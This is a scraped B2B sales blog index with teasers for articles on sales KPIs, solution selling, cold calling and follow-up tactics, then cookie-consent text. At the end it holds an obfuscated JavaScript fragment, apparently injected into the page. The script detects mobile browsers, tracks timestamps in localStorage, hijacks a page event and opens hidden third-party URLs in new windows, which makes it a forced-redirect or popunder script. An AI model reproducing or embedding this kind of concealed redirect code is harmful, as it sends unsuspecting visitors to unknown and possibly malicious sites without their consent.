Your go-to source for cutting-edge B2B sales insights

September 29, 2022
By Amen Mpofu

17 Critical Sales KPIs Every Business Should...

key performance indicators
KPIs in sales
sales KPI

Sales KPIs are vital for your business. If you can’t measure success, you can’t know whether you’re on track to achieve your strategic goals. To... Read More

September 23, 2022
By Amen Mpofu

How-to guide: Solution-selling essentials for beginners

solution selling
solution selling benefits
solution selling steps

Selling your ideas and products to customers has never been easier. With the rise of Digital Transformation, it’s harder than ever for e-commerce businesses to... Read More

September 15, 2022
By Shapnila Nath

Deciphering the classic conundrum: “Sell me this...

sales interview
sell me something
sell me this pen

“Sell me this pen!” Does this question automatically transport you to the scene from The Wolf of Wall Street with Leonardo DiCaprio holding up a... Read More

September 8, 2022
By Amen Mpofu

Inside sales vs. Outside sales: Your questions...

inside sales
inside sales vs. outside sales
outside sales

On the surface, inside sales and outside sales seem to follow similar principles. Both need a motivated, driven salesperson that can interact with customers over... Read More

June 27, 2022
By Shapnila Nath

How to build an impeccable sales outreach...

sales outreach
sales outreach strategy
sales outreach tips

The sales profession requires you to reach out and engage your potential buyers consistently. With altered buyer perceptions and a dynamic economy, it bodes well... Read More

June 23, 2022
By Amen Mpofu

Super easy steps to create high-performing sales...

sales report tips
sales reports
types of sales reports

Have you ever wondered what goes into producing a top-class sales analysis report? A report is only as useful as the information it conveys. Reports... Read More

June 20, 2022
By Shapnila Nath

Sales enablement: Your guiding framework to sales...

sales enablement
sales enablement benefits
sales enablement framework

In a fast-paced profession like sales, you must be consistently on your toes to maintain your winning streak. With the ever-increasing pressures for meeting your... Read More

June 16, 2022
By Amen Mpofu

14 Clever sales follow-up tactics to up...

sales follow up
sales follow up emails
sales follow up tactics

Have you ever gone on a date and then never heard from the person again? It’s not a good feeling. It’s especially bad when the... Read More

June 13, 2022
By Shapnila Nath

Analyzing the efficacy of cold calling in...

cold calling
cold calling benefits
is cold calling dead

If you are in sales, you probably have a love-hate relationship with cold calling. If it works for you, it boosts your confidence. However, if... Read More

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cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. 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cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. 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)\|sy(01\|mb)\|t2(18\|50)\|t6(00\|10\|18)\|ta(gt\|lk)\|tcl\-\|tdg\-\|tel(i\|m)\|tim\-\|t\-mo\|to(pl\|sh)\|ts(70\|m\-\|m3\|m5)\|tx\-9\|up(\.b\|g1\|si)\|utst\|v400\|v750\|veri\|vi(rg\|te)\|vk(40\|5[0-3]\|\-v)\|vm40\|voda\|vulc\|vx(52\|53\|60\|61\|70\|80\|81\|83\|85\|98)\|w3c(\-\| )\|webc\|whit\|wi(g \|nc\|nw)\|wmlb\|wonu\|x700\|yas\-\|your\|zeto\|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]\|\|navigator[_0x365b[0x2]]\|\|window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e80x3c0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e80x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());